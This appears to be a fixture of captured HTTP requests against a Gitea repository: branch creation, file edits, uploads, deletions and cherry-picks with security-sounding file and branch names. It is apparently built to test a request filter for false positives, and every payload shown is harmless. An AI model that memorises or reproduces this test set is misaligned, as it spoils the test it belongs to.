name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
|
||||||
|
